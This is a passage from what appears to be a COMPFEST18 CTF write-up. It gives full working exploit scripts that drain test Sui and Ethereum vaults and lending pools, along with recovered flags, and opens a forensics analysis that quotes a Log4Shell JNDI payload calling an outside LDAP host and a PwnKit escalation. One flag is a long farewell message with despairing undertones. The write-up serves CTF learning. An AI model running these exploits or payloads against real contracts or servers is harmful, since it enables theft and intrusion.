solved = int(rpc.eth_call(setup, selector("isSolved()")), 16)
print(f"pathOpened={bool(opened)} jail_balance={balance} wei "
f"palace.isSolved={bool(palace_solved)}", flush=True)
print(f"Setup.isSolved(): {bool(solved)}", flush=True)
if not solved:
raise SystemExit("setup did not accept the run")
print("FLAG:", fetch_flag(session, base))
return 0
if __name__ == "__main__":
sys.exit(main())Final Flag
COMPFEST18{I_guess_bro_here_is_relatively_secure_mirror_flag_you_have_searched_for_0f95fd47}13. Compfest Coin
Steps
-
Solve the launcher proof of work, start an instance with
POST /launch, and read/datato obtain the RPC URL, thesuiprivkey1…key, and the shared object ids. -
Read
setup.movefor the win condition, then confirm on chain thatvault.marketequalscanonical_market<SUIX, USDC>()and thatlisted_marketscontains onlydirect_market<SUIX, USDC>(). -
Execute the following six transactions in order.
pool::create_route_pool<USDC, SUIX>(REGISTRY, CONFIG, 1, 1000)creates the evil pool. Its direct key, USDC followed by SUIX, is unlisted, while its canonical key is SUIX followed by USDC.registry::register_route_strategy<SUIX, USDC, u64>(REGISTRY, 0u64)forges aRouteStrategy<u64>on the canonical market.pool::open_position<USDC, SUIX>(evil_pool)opens the position object.pool::add_liquidity<USDC, SUIX>(evil_pool, position, 1000, CONFIG)creditsshares = 1000with zero assets deposited.vault::claim_route_incentives<USDC, SUIX, u64>(...)movesearnedfrom 0 to 1000 andvault.balancefrom 1000 to 0.setup::solve(SETUP, ACCOUNT, CONFIG)flipssolvedfrom false to true.
-
Request
GET /flagfrom the launcher, which now releases the flag.
All six transactions of the verification run succeeded.
The broken invariants were read directly off chain after the run. The attacker pool's canonical_market is byte-identical to vault.market while its direct_market differs, its quoted_route_score is 1000 against the honest pool's 1, and its effective_liquidity is 1000 with zero assets deposited. On the accounting side, account.earned moves from 0 to 1000, which clears the bounty_target of 500, vault.balance moves from 1000 to 0, and setup.solved flips from false to true.
The full sequence was replayed on a second, independently launched instance and produced the same result.
Exploit
solve.py
import base64
import hashlib
import json
import sys
import urllib.request
from pathlib import Path
import nacl.signing
HERE = Path(__file__).resolve().parent
LAUNCH_RESPONSE = HERE / "work" / "launch.json"
EVIDENCE = HERE / "evidence"
ORIGIN = "<target host, port>"
def load_instance():
data = json.loads(LAUNCH_RESPONSE.read_text())
if not data.get("success"):
raise RuntimeError(f"launcher did not return a live instance: {data}")
flat = {}
for value in data.values():
if isinstance(value, dict):
flat.update(value)
required = {
"RPC_URL",
"PRIVKEY",
"WALLET_ADDR",
"PACKAGE_ID",
"SETUP_ID",
"REGISTRY",
"VAULT",
"POOL",
"ACCOUNT",
"CONFIG",
"ORACLE",
}
missing = required.difference(flat)
if missing:
raise RuntimeError(f"missing launcher fields: {sorted(missing)}")
flat["RPC_URL"] = flat["RPC_URL"].replace("{ORIGIN}", ORIGIN)
return flat
class SuiClient:
def __init__(self, url, private_key):
self.url = url
self.request_id = 0
seed = self.decode_private_key(private_key)
self.signing_key = nacl.signing.SigningKey(seed)
self.public_key = bytes(self.signing_key.verify_key)
address_hash = hashlib.blake2b(b"\x00" + self.public_key, digest_size=32)
self.address = "0x" + address_hash.hexdigest()
@staticmethod
def decode_private_key(encoded):
charset = "qpzry9x8gf2tvdw0s3jn54khce6mua7l"
hrp, separator, payload = encoded.rpartition("1")
if not separator or hrp != "suiprivkey":
raise ValueError("unexpected Sui private-key encoding")
values = [charset.index(character) for character in payload]
generators = [
0x3B6A57B2,
0x26508E6D,
0x1EA119FA,
0x3D4233DD,
0x2A1462B3,
]
def polymod(items):
checksum = 1
for item in items:
high = checksum >> 25
checksum = ((checksum & 0x1FFFFFF) << 5) ^ item
for index, generator in enumerate(generators):
if (high >> index) & 1:
checksum ^= generator
return checksum
expanded_hrp = (
[ord(character) >> 5 for character in hrp]
+ [0]
+ [ord(character) & 31 for character in hrp]
)
if polymod(expanded_hrp + values) != 1:
raise ValueError("invalid bech32 checksum")
accumulator = 0
bits = 0
decoded = bytearray()
for value in values[:-6]:
accumulator = (accumulator << 5) | value
bits += 5
if bits >= 8:
bits -= 8
decoded.append((accumulator >> bits) & 0xFF)
if len(decoded) != 33 or decoded[0] != 0:
raise ValueError("private key is not a 32-byte Ed25519 seed")
return bytes(decoded[1:])
def rpc(self, method, params):
self.request_id += 1
body = json.dumps(
{
"jsonrpc": "2.0",
"id": self.request_id,
"method": method,
"params": params,
}
).encode()
request = urllib.request.Request(
self.url,
data=body,
method="POST",
headers={"Content-Type": "application/json"},
)
with urllib.request.urlopen(request, timeout=60) as response:
result = json.loads(response.read())
if "error" in result:
raise RuntimeError(f"{method}: {result['error']}")
return result["result"]
def sign(self, transaction_bytes):
intent_message = b"\x00\x00\x00" + base64.b64decode(transaction_bytes)
digest = hashlib.blake2b(intent_message, digest_size=32).digest()
signature = self.signing_key.sign(digest).signature
serialized = b"\x00" + signature + self.public_key
return base64.b64encode(serialized).decode()
def move_call(self, package, module, function, type_args, args, label):
transaction = self.rpc(
"unsafe_moveCall",
[
self.address,
package,
module,
function,
type_args,
args,
None,
"200000000",
],
)
transaction_bytes = transaction["txBytes"]
result = self.rpc(
"sui_executeTransactionBlock",
[
transaction_bytes,
[self.sign(transaction_bytes)],
{
"showEffects": True,
"showEvents": True,
"showObjectChanges": True,
"showInput": False,
},
"WaitForLocalExecution",
],
)
status = result["effects"]["status"]
print(f"[tx] {label:28s} {result['digest']} {status['status']}")
if status["status"] != "success":
raise RuntimeError(f"{label} failed: {status}")
(EVIDENCE / f"{label}.json").write_text(json.dumps(result, indent=2))
return result
def object_fields(self, object_id):
result = self.rpc(
"sui_getObject",
[
object_id,
{"showContent": True, "showType": True, "showOwner": True},
],
)
return result["data"]["content"]["fields"]
def created_object(result, type_fragment):
for change in result.get("objectChanges", []):
if change.get("type") == "created" and type_fragment in change.get(
"objectType", ""
):
return change["objectId"]
raise RuntimeError(f"no created object matching {type_fragment}")
def main():
EVIDENCE.mkdir(exist_ok=True)
instance = load_instance()
client = SuiClient(instance["RPC_URL"], instance["PRIVKEY"])
if client.address != instance["WALLET_ADDR"]:
raise RuntimeError("derived address does not match launcher wallet")
package = instance["PACKAGE_ID"]
suix = f"{package}::assets::SUIX"
usdc = f"{package}::assets::USDC"
print(f"[*] RPC: {instance['RPC_URL']}")
print(f"[*] package: {package}")
print(f"[*] wallet: {client.address} (key derivation verified)")
before = {
"vault": client.object_fields(instance["VAULT"]),
"account": client.object_fields(instance["ACCOUNT"]),
"config": client.object_fields(instance["CONFIG"]),
"oracle": client.object_fields(instance["ORACLE"]),
"original_pool": client.object_fields(instance["POOL"]),
"setup": client.object_fields(instance["SETUP_ID"]),
}
print(
"[*] before:",
f"earned={before['account']['earned']}",
f"target={before['config']['bounty_target']}",
f"vault={before['vault']['balance']}",
f"solved={before['setup']['solved']}",
)
result = client.move_call(
package,
"pool",
"create_route_pool",
[usdc, suix],
[instance["REGISTRY"], instance["CONFIG"], "1", "1000"],
"01_create_reversed_pool",
)
evil_pool = created_object(result, "pool::RoutePool")
result = client.move_call(
package,
"registry",
"register_route_strategy",
[suix, usdc, "u64"],
[instance["REGISTRY"], "0"],
"02_forge_u64_strategy",
)
strategy = created_object(result, "registry::RouteStrategy")
result = client.move_call(
package,
"pool",
"open_position",
[usdc, suix],
[evil_pool],
"03_open_position",
)
position = created_object(result, "pool::RoutePosition")
client.move_call(
package,
"pool",
"add_liquidity",
[usdc, suix],
[evil_pool, position, "1000", instance["CONFIG"]],
"04_add_free_liquidity",
)
pool_fields = client.object_fields(evil_pool)
position_fields = client.object_fields(position)
effective_liquidity = (
int(position_fields["shares"])
* int(pool_fields["accounted_liquidity"])
// int(pool_fields["lp_supply"])
)
score = int(pool_fields["reserve_quote"]) // int(pool_fields["reserve_base"])
print(f"[*] forged pool: score={score}, effective_liquidity={effective_liquidity}")
client.move_call(
package,
"vault",
"claim_route_incentives",
[usdc, suix, "u64"],
[
instance["VAULT"],
evil_pool,
strategy,
position,
instance["ACCOUNT"],
instance["ORACLE"],
instance["CONFIG"],
],
"05_claim_incentives",
)
client.move_call(
package,
"setup",
"solve",
[],
[instance["SETUP_ID"], instance["ACCOUNT"], instance["CONFIG"]],
"06_setup_solve",
)
after = {
"vault": client.object_fields(instance["VAULT"]),
"account": client.object_fields(instance["ACCOUNT"]),
"setup": client.object_fields(instance["SETUP_ID"]),
"evil_pool": client.object_fields(evil_pool),
"position": client.object_fields(position),
"created_ids": {
"pool": evil_pool,
"strategy": strategy,
"position": position,
},
}
print(
"[*] after:",
f"earned={after['account']['earned']}",
f"vault={after['vault']['balance']}",
f"solved={after['setup']['solved']}",
)
if after["setup"]["solved"] is not True:
raise RuntimeError("setup.solved did not become true")
(EVIDENCE / "state_before_after.json").write_text(
json.dumps({"before": before, "after": after}, indent=2)
)
return 0
if __name__ == "__main__":
sys.exit(main())launcher.py
import argparse, base64, json, subprocess, sys, time
from pathlib import Path
import requests
HERE = Path(__file__).resolve().parent
POW_MODULUS = (1 << 1279) - 1
POW_EXPONENT = 1 << 1277
def solve_pow(challenge):
version, difficulty_b64, seed_b64 = challenge.split(".")
if version != "s":
raise ValueError("unsupported proof-of-work version")
difficulty = int.from_bytes(base64.b64decode(difficulty_b64), "big")
value = int.from_bytes(base64.b64decode(seed_b64), "big")
for _ in range(difficulty):
value = 1 ^ pow(value, POW_EXPONENT, POW_MODULUS)
size = max((value.bit_length() + 7) // 8, 160)
return "s." + base64.b64encode(value.to_bytes(size, "big")).decode()
def launch(base):
session = requests.Session()
challenge = session.get(f"{base}/challenge", timeout=15).json()["challenge"]
difficulty = int.from_bytes(base64.b64decode(challenge.split(".")[1]), "big")
print(f"proof-of-work: difficulty {difficulty}", flush=True)
session.post(f"{base}/solution", json={"solution": solve_pow(challenge)},
timeout=30).raise_for_status()
print("proof-of-work: accepted", flush=True)
response = session.post(f"{base}/launch", timeout=120)
response.raise_for_status()
payload = response.json()
try:
payload.setdefault("_data", session.get(f"{base}/data", timeout=15).json())
except requests.RequestException:
pass
return session, payload
def flatten(payload):
out = {}
def visit(node):
if isinstance(node, dict):
for key, value in node.items():
if isinstance(value, (str, int)):
out[key] = value
else:
visit(value)
elif isinstance(node, list):
for value in node:
visit(value)
visit(payload)
return out
def fetch_flag(session, base, attempts=3, delay=1):
for attempt in range(attempts):
for method in ("post", "get"):
response = getattr(session, method)(f"{base}/flag", timeout=10)
if response.ok:
text = response.text
try:
data = response.json()
text = json.dumps(data)
except ValueError:
pass
if "COMPFEST18{" in text:
start = text.index("COMPFEST18{")
return text[start:text.index("}", start) + 1]
if attempt + 1 < attempts:
time.sleep(delay)
raise RuntimeError("launcher did not release a flag")
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--base", required=True, help="<target host, port>")
parser.add_argument("--mode", choices=["coin", "timekeeper"], required=True)
args = parser.parse_args()
base = args.base.rstrip("/")
session, payload = launch(base)
fields = flatten(payload)
print("launcher fields:", sorted(fields), flush=True)
if args.mode == "coin":
work = HERE / "work"
work.mkdir(exist_ok=True)
(work / "launch.json").write_text(json.dumps(payload))
source = (HERE / "solve.py").read_text()
(HERE / "solve.py").write_text(
source.replace('ORIGIN = "<target host, port>"', f'ORIGIN = "{base}"'))
command = [sys.executable, str(HERE / "solve.py")]
else:
command = [
sys.executable, str(HERE / "exploit.py"),
"--rpc", fields["RPC_URL"].replace("{ORIGIN}", base),
"--private-key", fields["PRIVKEY"],
"--setup", fields.get("SETUP_CONTRACT_ADDR") or fields["SETUP"],
"--player", fields["WALLET_ADDR"],
]
code = subprocess.run(command, cwd=HERE).returncode
print("solver exit:", code, flush=True)
if code != 0:
return code
time.sleep(2)
print("FLAG:", fetch_flag(session, base))
return 0
if __name__ == "__main__":
sys.exit(main())Final Flag
COMPFEST18{Allow_me_to_say_goodbye_to_the_Crypto_World_Today_might_be_the_heaviest_day_for_me_My_hands_are_trembling_as_I_write_this_my_chest_feels_tight_and_my_head_is_full_of_thoughts_The_crypto_world_really_knows_no_mercy_I_have_fought_this_far_hoping_there_would_be_light_at_the_end_of_that_red_chart_But_the_reality_is_Crypto_is_sadistic_and_cruel_Sometimes_it_drains_not_only_your_balance_but_also_your_heart_and_spirit_For_friends_who_have_not_entered_yet_listen_carefully_Do_not_be_reckless_This_world_is_not_a_place_to_just_try_things_Learn_first_understand_the_risks_and_never_put_in_more_than_you_can_afford_to_lose_I_apologize_if_any_of_my_words_have_offended_anyone_here_There_was_never_any_bad_intention_only_the_emotions_of_someone_who_has_endured_the_storm_for_too_long_And_now_I_give_up_I_want_to_rest_Those_of_you_who_are_still_strong_continue_your_struggle_But_for_those_who_also_feel_broken_maybe_it_is_time_for_us_to_CL_together_Alt_season_is_really_over_Thank_you_for_all_the_stories_laughter_and_pain_we_have_shared_here_See_you_in_the_next_life_not_as_a_trader_but_as_a_human_who_has_learned}14. Phantom Ledger
Steps
- Solve the launcher proof of work (kctf SLOTH at difficulty 10000, which takes about 13 seconds), send
POST /launch, and read/dataforRPC_URL,PRIVKEY,SETUP_CONTRACT_ADDRandWALLET_ADDR. - Read
Setup.vault()to obtain the deployedPhantomVaultaddress, and confirm that the deployed bytecode matches the handout before trusting the source, by issuing aneth_calloftransferCreditfrom the player (which succeeds) and the same call from an unrelated address (which reverts withexecution reverted: Not authorized). This proves that the relayer branch is live on-chain. - Confirm the accounting by checking that
balances[Setup] == 10 ether, thataddress(vault).balance == 10 etherand thatvault.relayer() == player. - Send
transferCredit(Setup, player, 10e18)from the player account. - Send
withdraw(10e18)from the player account. - Assert that
address(vault).balance == 0and thatSetup.isSolved() == true. - Request
GET /flagfrom the launcher to collect the flag.
The verification run produced the following results, with both receipts reporting status = 1:
transferCredit <TX> block 2, gas 50177
withdraw <TX> block 3, gas 46552
vault ETH balance 10000000000000000000 -> 0
balances[Setup] 10e18 -> 0
player EOA 5 ETH -> 14.9999 ETH
Setup.isSolved() false -> trueThe exploit was then replayed on a second, independently launched instance, and it produced identical results, so the path is deterministic rather than a one-off state artifact.
Exploit
import argparse
import base64
import time
import requests
from eth_abi import encode
from eth_account import Account
from eth_utils import keccak, to_checksum_address
CREDENTIAL_KEYS = {
"RPC_URL",
"PRIVKEY",
"SETUP_CONTRACT_ADDR",
"WALLET_ADDR",
}
POW_MODULUS = (1 << 1279) - 1
POW_EXPONENT = 1 << 1277
def solve_pow(challenge):
version, difficulty_b64, seed_b64 = challenge.split(".")
if version != "s":
raise ValueError("unsupported proof-of-work version")
difficulty = int.from_bytes(base64.b64decode(difficulty_b64), "big")
value = int.from_bytes(base64.b64decode(seed_b64), "big")
for _ in range(difficulty):
value = 1 ^ pow(value, POW_EXPONENT, POW_MODULUS)
size = max((value.bit_length() + 7) // 8, 160)
encoded = base64.b64encode(value.to_bytes(size, "big")).decode()
return f"s.{encoded}"
def extract_credentials(payload, origin):
found = {}
def visit(node):
if isinstance(node, dict):
for key, value in node.items():
if key in CREDENTIAL_KEYS and isinstance(value, (str, int)):
found[key] = str(value).replace("{ORIGIN}", origin.rstrip("/"))
else:
visit(value)
elif isinstance(node, list):
for value in node:
visit(value)
visit(payload)
return found
class JsonRpc:
def __init__(self, url):
self.url = url
self.request_id = 0
def call(self, method, params):
self.request_id += 1
response = requests.post(
self.url,
json={
"jsonrpc": "2.0",
"id": self.request_id,
"method": method,
"params": params,
},
timeout=20,
)
response.raise_for_status()
body = response.json()
if "error" in body:
raise RuntimeError(f"RPC {method} failed: {body['error']}")
return body["result"]
def calldata(signature, types=(), values=()):
return "0x" + (keccak(text=signature)[:4] + encode(types, values)).hex()
def contract_call(rpc, address, data):
return rpc.call("eth_call", [{"to": address, "data": data}, "latest"])
def read_address(rpc, address, signature):
result = contract_call(rpc, address, calldata(signature))
return to_checksum_address("0x" + result[-40:])
def read_uint(rpc, address, signature, types=(), values=()):
result = contract_call(rpc, address, calldata(signature, types, values))
return int(result, 16)
def wait_receipt(rpc, tx_hash, timeout=45):
deadline = time.monotonic() + timeout
while time.monotonic() < deadline:
receipt = rpc.call("eth_getTransactionReceipt", [tx_hash])
if receipt is not None:
if int(receipt["status"], 16) != 1:
raise RuntimeError(f"transaction reverted: {tx_hash}")
return receipt
time.sleep(0.5)
raise TimeoutError(f"timed out waiting for transaction: {tx_hash}")
def send_transaction(rpc, account, private_key, target, data, label):
chain_id = int(rpc.call("eth_chainId", []), 16)
nonce = int(
rpc.call("eth_getTransactionCount", [account.address, "pending"]), 16
)
gas_price = int(rpc.call("eth_gasPrice", []), 16)
estimate = int(
rpc.call(
"eth_estimateGas",
[{"from": account.address, "to": target, "data": data, "value": "0x0"}],
),
16,
)
transaction = {
"chainId": chain_id,
"nonce": nonce,
"to": target,
"value": 0,
"data": data,
"gas": estimate + estimate // 5 + 10_000,
"gasPrice": gas_price,
}
signed = Account.sign_transaction(transaction, private_key)
raw = signed.raw_transaction.hex()
if not raw.startswith("0x"):
raw = "0x" + raw
tx_hash = rpc.call("eth_sendRawTransaction", [raw])
print(f"{label}: {tx_hash}", flush=True)
wait_receipt(rpc, tx_hash)
return tx_hash
def launch_instance(base_url):
session = requests.Session()
challenge_response = session.get(f"{base_url}/challenge", timeout=10)
challenge_response.raise_for_status()
challenge = challenge_response.json()["challenge"]
difficulty = int.from_bytes(base64.b64decode(challenge.split(".")[1]), "big")
print(f"launcher proof-of-work: difficulty {difficulty}", flush=True)
solution = solve_pow(challenge)
solution_response = session.post(
f"{base_url}/solution", json={"solution": solution}, timeout=20
)
solution_response.raise_for_status()
print("launcher proof-of-work: accepted", flush=True)
launch_response = session.post(f"{base_url}/launch", timeout=60)
launch_response.raise_for_status()
launch_payload = launch_response.json()
credentials = extract_credentials(launch_payload, base_url)
if CREDENTIAL_KEYS - credentials.keys():
data_response = session.get(f"{base_url}/data", timeout=10)
data_response.raise_for_status()
credentials.update(extract_credentials(data_response.json(), base_url))
missing = CREDENTIAL_KEYS - credentials.keys()
if missing:
raise RuntimeError(f"launcher omitted credential fields: {sorted(missing)}")
print("launcher instance: running; credentials loaded in memory", flush=True)
return session, credentials
def fetch_flag(session, base_url, attempts=3, delay=1):
statuses = []
for attempt in range(attempts):
for method in ("post", "get"):
response = getattr(session, method)(f"{base_url}/flag", timeout=10)
statuses.append(f"{method.upper()} {response.status_code}")
if not response.ok:
continue
flag = None
try:
payload = response.json()
if isinstance(payload, dict):
flag = payload.get("flag")
except requests.exceptions.JSONDecodeError:
flag = response.text.strip()
if isinstance(flag, str) and flag:
return flag
if attempt + 1 < attempts:
time.sleep(delay)
raise RuntimeError(f"launcher returned no flag ({', '.join(statuses)})")
def run(base_url):
session, credentials = launch_instance(base_url)
private_key = credentials["PRIVKEY"]
account = Account.from_key(private_key)
player = to_checksum_address(credentials["WALLET_ADDR"])
setup = to_checksum_address(credentials["SETUP_CONTRACT_ADDR"])
if account.address.lower() != player.lower():
raise RuntimeError("launcher private key does not match wallet")
rpc = JsonRpc(credentials["RPC_URL"])
vault = read_address(rpc, setup, "vault()")
relayer = read_address(rpc, vault, "relayer()")
setup_credit = read_uint(
rpc, vault, "balances(address)", ("address",), (setup,)
)
vault_balance = int(rpc.call("eth_getBalance", [vault, "latest"]), 16)
solved_before = bool(read_uint(rpc, setup, "isSolved()"))
print(f"setup credit: {setup_credit / 10**18:g} ETH", flush=True)
print(f"vault balance: {vault_balance / 10**18:g} ETH", flush=True)
print(f"player is relayer: {relayer.lower() == player.lower()}", flush=True)
if not solved_before:
if relayer.lower() != player.lower():
raise RuntimeError("player is not the trusted relayer")
if setup_credit <= 0 or setup_credit != vault_balance:
raise RuntimeError("unexpected Setup credit or vault balance")
move_credit = calldata(
"transferCredit(address,address,uint256)",
("address", "address", "uint256"),
(setup, player, setup_credit),
)
send_transaction(
rpc, account, private_key, vault, move_credit, "transferCredit tx"
)
withdraw = calldata("withdraw(uint256)", ("uint256",), (setup_credit,))
send_transaction(rpc, account, private_key, vault, withdraw, "withdraw tx")
solved_after = bool(read_uint(rpc, setup, "isSolved()"))
final_balance = int(rpc.call("eth_getBalance", [vault, "latest"]), 16)
print(f"Setup.isSolved(): {solved_after}", flush=True)
print(f"final vault balance: {final_balance} wei", flush=True)
if not solved_after or final_balance != 0:
raise RuntimeError("vault was not fully drained")
flag = fetch_flag(session, base_url)
print(f"DYNAMIC_FLAG={flag}", flush=True)
print("flag submission: not performed", flush=True)
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--base", required=True, help="<target host, port>")
args = parser.parse_args()
run(args.base.rstrip("/"))
if __name__ == "__main__":
main()Final Flag
COMPFEST18{ph4nt0m_l3dg3r_cr0ss_funct10n_r33ntr4ncy_w1th_ecdsa_m4ll3ab1l1ty}15. The Timekeeper's Paradox
Steps
- Call
proxy.multicall([abi.encode(setPendingAdmin(1))]), after which the lending pool reads the price as 1. - Call
TimekeeperToken.mint(self, ...)to obtain extra collateral, and deposit that TKG into the lending pool. - Call
TimekeeperLending.borrowETH(address(pool).balance), which with the price fixed at 1 treats the deposited collateral as being worth far more than 50 ETH and therefore hands over the entire pool balance, leaving the pool at 0. - Confirm that
Setup.isSolved()now returns true, and then requestGET /flag, which returns the flag.
Exploit
exploit.py
import argparse
import json
import time
import requests
from Crypto.Hash import keccak
from eth_abi import encode
from eth_account import Account
from eth_utils import to_checksum_address
def encode_call(signature, *values):
digest = keccak.new(digest_bits=256, data=signature.encode()).digest()[:4]
types_text = signature[signature.index("(") + 1 : -1]
types = [] if not types_text else types_text.split(",")
return "0x" + (digest + encode(types, values)).hex()
def decode_address(result):
raw = result.removeprefix("0x")
if len(raw) != 64:
raise ValueError("expected a 32-byte address result")
return "0x" + raw[-40:]
def normalize_address(address):
return to_checksum_address(address)
def price_slot_multicall():
price_one = "0x0000000000000000000000000000000000000001"
inner = bytes.fromhex(encode_call("setPendingAdmin(address)", price_one)[2:])
return encode_call("multicall(bytes[])", [inner])
class Rpc:
def __init__(self, url):
self.url = url
self.request_id = 0
def call(self, method, params):
self.request_id += 1
response = requests.post(
self.url,
json={
"jsonrpc": "2.0",
"id": self.request_id,
"method": method,
"params": params,
},
timeout=10,
)
response.raise_for_status()
payload = response.json()
if "error" in payload:
raise RuntimeError(json.dumps(payload["error"], sort_keys=True))
return payload["result"]
def eth_call(self, to, data):
return self.call("eth_call", [{"to": to, "data": data}, "latest"])
def send(self, private_key, to, data):
account = Account.from_key(private_key)
tx = {
"chainId": int(self.call("eth_chainId", []), 16),
"nonce": int(self.call("eth_getTransactionCount", [account.address, "pending"]), 16),
"gasPrice": int(self.call("eth_gasPrice", []), 16),
"gas": 1_500_000,
"to": normalize_address(to),
"value": 0,
"data": data,
}
signed = account.sign_transaction(tx)
tx_hash = self.call("eth_sendRawTransaction", [signed.raw_transaction.hex()])
for _ in range(60):
receipt = self.call("eth_getTransactionReceipt", [tx_hash])
if receipt is not None:
if int(receipt["status"], 16) != 1:
raise RuntimeError(f"transaction reverted: {tx_hash}")
print(f"confirmed {tx_hash}")
return receipt
time.sleep(0.25)
raise TimeoutError(f"timed out waiting for {tx_hash}")
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--rpc", required=True)
parser.add_argument("--private-key", required=True)
parser.add_argument("--setup", required=True)
parser.add_argument("--player", required=True)
args = parser.parse_args()
rpc = Rpc(args.rpc)
token = decode_address(rpc.eth_call(args.setup, encode_call("token()")))
proxy = decode_address(rpc.eth_call(args.setup, encode_call("proxy()")))
lending = decode_address(rpc.eth_call(args.setup, encode_call("lending()")))
pool_wei = int(rpc.call("eth_getBalance", [lending, "latest"]), 16)
collateral = 100_000 * 10**18
print(f"token={token}")
print(f"proxy={proxy}")
print(f"lending={lending}")
print(f"pool_wei={pool_wei}")
rpc.send(args.private_key, token, encode_call("mint(address,uint256)", args.player, collateral))
rpc.send(args.private_key, token, encode_call("approve(address,uint256)", lending, collateral))
rpc.send(args.private_key, lending, encode_call("depositToken(uint256)", collateral))
rpc.send(args.private_key, proxy, price_slot_multicall())
rpc.send(args.private_key, lending, encode_call("borrowETH(uint256)", pool_wei))
remaining = int(rpc.call("eth_getBalance", [lending, "latest"]), 16)
solved = int(rpc.eth_call(args.setup, encode_call("isSolved()")), 16) != 0
print(f"remaining_pool_wei={remaining}")
print(f"isSolved={str(solved).lower()}")
if remaining != 0 or not solved:
raise SystemExit("exploit did not satisfy the setup")
if __name__ == "__main__":
main()launcher.py
import argparse, base64, json, subprocess, sys, time
from pathlib import Path
import requests
HERE = Path(__file__).resolve().parent
POW_MODULUS = (1 << 1279) - 1
POW_EXPONENT = 1 << 1277
def solve_pow(challenge):
version, difficulty_b64, seed_b64 = challenge.split(".")
if version != "s":
raise ValueError("unsupported proof-of-work version")
difficulty = int.from_bytes(base64.b64decode(difficulty_b64), "big")
value = int.from_bytes(base64.b64decode(seed_b64), "big")
for _ in range(difficulty):
value = 1 ^ pow(value, POW_EXPONENT, POW_MODULUS)
size = max((value.bit_length() + 7) // 8, 160)
return "s." + base64.b64encode(value.to_bytes(size, "big")).decode()
def launch(base):
session = requests.Session()
challenge = session.get(f"{base}/challenge", timeout=15).json()["challenge"]
difficulty = int.from_bytes(base64.b64decode(challenge.split(".")[1]), "big")
print(f"proof-of-work: difficulty {difficulty}", flush=True)
session.post(f"{base}/solution", json={"solution": solve_pow(challenge)},
timeout=30).raise_for_status()
print("proof-of-work: accepted", flush=True)
response = session.post(f"{base}/launch", timeout=120)
response.raise_for_status()
payload = response.json()
try:
payload.setdefault("_data", session.get(f"{base}/data", timeout=15).json())
except requests.RequestException:
pass
return session, payload
def flatten(payload):
out = {}
def visit(node):
if isinstance(node, dict):
for key, value in node.items():
if isinstance(value, (str, int)):
out[key] = value
else:
visit(value)
elif isinstance(node, list):
for value in node:
visit(value)
visit(payload)
return out
def fetch_flag(session, base, attempts=3, delay=1):
for attempt in range(attempts):
for method in ("post", "get"):
response = getattr(session, method)(f"{base}/flag", timeout=10)
if response.ok:
text = response.text
try:
data = response.json()
text = json.dumps(data)
except ValueError:
pass
if "COMPFEST18{" in text:
start = text.index("COMPFEST18{")
return text[start:text.index("}", start) + 1]
if attempt + 1 < attempts:
time.sleep(delay)
raise RuntimeError("launcher did not release a flag")
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--base", required=True, help="<target host, port>")
parser.add_argument("--mode", choices=["coin", "timekeeper"], required=True)
args = parser.parse_args()
base = args.base.rstrip("/")
session, payload = launch(base)
fields = flatten(payload)
print("launcher fields:", sorted(fields), flush=True)
if args.mode == "coin":
work = HERE / "work"
work.mkdir(exist_ok=True)
(work / "launch.json").write_text(json.dumps(payload))
source = (HERE / "solve.py").read_text()
(HERE / "solve.py").write_text(
source.replace('ORIGIN = "<target host, port>"', f'ORIGIN = "{base}"'))
command = [sys.executable, str(HERE / "solve.py")]
else:
command = [
sys.executable, str(HERE / "exploit.py"),
"--rpc", fields["RPC_URL"].replace("{ORIGIN}", base),
"--private-key", fields["PRIVKEY"],
"--setup", fields.get("SETUP_CONTRACT_ADDR") or fields["SETUP"],
"--player", fields["WALLET_ADDR"],
]
code = subprocess.run(command, cwd=HERE).returncode
print("solver exit:", code, flush=True)
if code != 0:
return code
time.sleep(2)
print("FLAG:", fetch_flag(session, base))
return 0
if __name__ == "__main__":
sys.exit(main())Final Flag
COMPFEST18{t1m3k33p3r_pr1c3_0r4cl3_m4n1p_v14_st0r4g3_c0ll1s10n_le4k3dddddd_n0000000}Forensics
16. BurhanGuild Loader Incident
Steps
-
Verify all 13 artifacts against
integrity_manifest.jsonand confirm that every one of them matches, then read the capture timestamps and confirm that all of them fall inside the declared window. Record both of those hypotheses as falsified rather than skipping them. -
Parse every
BGMRrecord in all five captures using the format implemented by the shipped plugin and dump all of the views. Note that kind 8 is undocumented by the plugin and is in fact a CVE candidate list (CVE-2021-44228,CVE-2021-4034andCVE-2022-0847) that is identical in every capture. -
Carve the embedded ZIP archives out of
page_01.bin,page_03.bin,page_05.binandpage_07.binand read eachcase_fragment.json. Onlypage_05has ahostoforion-lab, and it pairs withcapture_A812, whilepage_00,page_02,page_04andpage_06are slack with no archive. -
Cross-check the pairing inside the captures themselves, using the maps, the process list against the process scan, the sockets and the file records, and exclude the other four captures for the concrete reasons listed above.
-
Carve the kind-9 ELF out of
capture_A812and confirm its sha256 against theREGION SHA256reported by kind 5. -
Statically reverse
sub_1100(the KDF),sub_13e0(XTEA) andsub_1500(the CTR driver) using onlyreadelfandobjdump, without executing anything. Reimplement all three and decrypt theCFG3blob using theBG_MUTEXvalue, the 8-byte heap key and the 10-byte build id taken from the same capture. -
Confirm the resulting plaintext with the
crc32self-check that the configuration carries. -
Recover the 473-byte deleted archive verbatim from
page_05.binat offset0x603a2(sha2564bd20e26…), which closes the loop between volatile memory and deleted storage. -
Build the timeline from the process, environment, maps and socket views:
10:55:10Z pid 1 systemd 11:07:44Z pid 4693 java (ppid 913, JAVA_HOME=/opt/gateway-jre) heap 0x555500008000 holds ${${lower:j}${lower:n}${lower:d}${lower:i}:ldap://172.19.0.66:1389/BurhanGuild} -> Log4Shell, CVE-2021-44228 11:08:17Z pid 4742 pkexec (ppid 4693), env GCONV_PATH=/tmp/.bg/gconv -> PwnKit privilege escalation, CVE-2021-4034 11:08:22Z pid 4787 masquerading as [kworker/u8:7] (ppid 4742), hidden from the process list (scan-only), BG_MUTEX=bguild-ce104cb0 RWX map 0x7f100008f000 memfd:libpam_bg.so (deleted), build_id 542715c2e46252e4d790 socket 10.10.18.26:42110 -> morrow-gate.wreckit.invalid:8443 ESTABLISHED deleted /dev/shm/.bg-cache/e0bafe9e.zip, 473 B 11:09:18Z capture_A812 acquired -
Assemble the proof token exactly as the
